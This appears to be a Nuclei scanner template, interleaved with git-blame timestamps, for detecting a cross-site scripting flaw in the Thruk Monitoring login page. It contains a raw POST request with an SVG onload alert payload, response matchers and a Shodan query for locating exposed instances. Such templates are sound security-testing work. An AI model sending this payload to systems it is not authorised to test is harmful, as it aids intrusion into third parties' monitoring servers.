2021-12-02 12:07:50 +00:00
|
|
|
id: thruk-xss
|
|
|
|
|
2021-12-02 12:02:40 +00:00
|
|
|
info:
|
2022-09-09 17:34:37 +00:00
|
|
|
name: Thruk Monitoring Webinterface - Cross-Site Scripting
|
2022-08-15 08:57:04 +00:00
|
|
|
author: pikpikcu,ritikchaddha
|
2022-09-23 17:53:08 +00:00
|
|
|
severity: high
|
2022-08-15 08:57:04 +00:00
|
|
|
description: |
|
2022-09-23 17:53:08 +00:00
|
|
|
Thruk Monitoring Webinterface contains a cross-site scripting vulnerability via the login parameter at /thruk/cgi-bin/login.cgi.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.thruk.org/download.html
|
2022-09-23 17:53:08 +00:00
|
|
|
- https://www.usd.de/en/security-advisory-thruk-monitoring-v2-46-3
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 7.2
|
|
|
|
cwe-id: CWE-79
|
2022-08-15 08:57:04 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 1
|
2022-08-15 08:57:04 +00:00
|
|
|
shodan-query: http.html:"Thruk"
|
|
|
|
tags: thruk,xss
|
2021-12-02 12:02:40 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-12-02 12:02:40 +00:00
|
|
|
- raw:
|
2021-12-03 05:07:42 +00:00
|
|
|
- |
|
2021-12-02 12:02:40 +00:00
|
|
|
POST /thruk/cgi-bin/login.cgi HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2022-08-15 08:57:04 +00:00
|
|
|
referer=&login=%22%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%40gmail.com&password=test&submit=Login
|
2021-12-03 05:07:42 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
2021-12-02 12:02:40 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
2022-08-15 08:57:04 +00:00
|
|
|
- "<svg/onload=alert(document.domain)>\"@gmail.com') called at"
|
2021-12-02 12:02:40 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
2021-12-03 05:07:42 +00:00
|
|
|
words:
|
2021-12-09 16:28:15 +00:00
|
|
|
- "text/html"
|
2022-08-15 08:57:04 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 500
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4a0a004730450220644cfa0c53848855710560c60aed815c5a9611338dee49dcbb7d52915f862b22022100b4ebfdddab6cf74297b87b0a41eba563a1b1915affbde67f7df409fcf62bc441:922c64590222798bb761d5b6d8e72950
|